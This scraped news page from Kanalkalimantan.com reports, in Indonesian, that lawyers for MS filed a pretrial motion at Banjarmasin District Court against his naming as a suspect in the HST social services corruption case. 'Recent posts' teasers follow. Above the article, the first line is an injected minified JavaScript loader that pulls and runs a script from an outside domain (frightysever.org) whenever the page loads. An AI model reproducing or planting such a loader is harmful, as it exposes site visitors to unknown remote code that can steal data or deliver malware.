(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kasus Korupsi Dinsos HST, Kuasa Hukum MS Resmi Ajukan Praperadilan


KANALKALIMANTAN.COM, BANJARMASIN – Penetapan tersangka MS (28) pada kasus dugaan korupsi progam kader sosial di Dinas Sosial (Dinsos) Kabupaten Hulu Sungai Tengah (HST) berbuntut panjang.

Tim kuasa hukum MS yang diketuai Zainal Abidin resmi mendaftarkan praperadilan ke Pengadilan Negeri (PN) Banjarmasin, Senin (9/9/2024) siang.

“Kami mendaftarkan praperadilan MS yang ditetapkan sebagai tersangka, termohon adalah Kejati Kalsel,” ujar Zainal saat ditemui awak media di Banjarmasin, Senin (9/9/2024) siang.

Baca juga: 17 Kandang Babi di Guntung Manggis Belum Dibongkar, Ada Tambahan Ternak Baru

Dijelaskan, pengajuan praperadilan dilakukan karena kliennya tidak terima ditetapkan sebagai tersangka dan langsung ditahan oleh penyidik Kejaksaan Tinggi (Kejati) Kalimantan Selatan saat diperiksa pada Jumat (30/8/2024) lalu.

Langkah yang diambil tim kuasa hukum merupakan hak dari kliennya untuk mendapatkan keadilan.

Masih lanjut Zainal, saat dipanggil penyidik, MS saat itu tidak mengerti apakah dipanggil sebagai saksi kasus yang tengah bergulir atau kasus dia sendirian.

Baca juga: Aula SMAN 7 Banjarmasin Ambruk, Siswa Sempat Terperosok

Sehingga klien meraka tidak terima dengan penetapan tersangka jika dianggap turut serta pada kasus yang menjerat Plt Kadinsos HST berinisial WR itu.

“Klien kami tidak terima kalau dia disebut turut serta, dia tidak mengerti,” ujar Fauzi.

Adapun permohonan praperadilan yang diajukan pihak MS meminta agar hakim PN Banjarmasin membatalkan penetapan tersangka. “Dalam petitum kita minta dibatalkan penetapan tersangka,” ujar Zainal.

Baca juga: Pembelajaran Fisika Relevan Tim Pengabdian Prodi Pendidikan Fisika FKIP ULM 

Sebagai informasi, MS yang merupakan warga HST ditetapkan sebagai tersangka oleh penyidik Kejati Kalsel dalam kasus dugaan korupsi program kader sosial Dinsos HST tahun anggaran 2022.

MS menyusul Plt Kadinsos HST WR yang lebih dulu ditetapkan sebagai tersangka dalam kasus yang sama.

Dalam kasus tersebut, MS dijerat dengan pasal 2 ayat (1) jo pasal 18 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 Ayat (1) ke-1 KUHP sebagai dakwaan primair.

Sedangkan subsidaernya pasal 3 jo Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 Ayat (1) ke-1 KUHP. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

2 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

2 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

3 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

7 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

7 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

8 jam ago

This website uses cookies.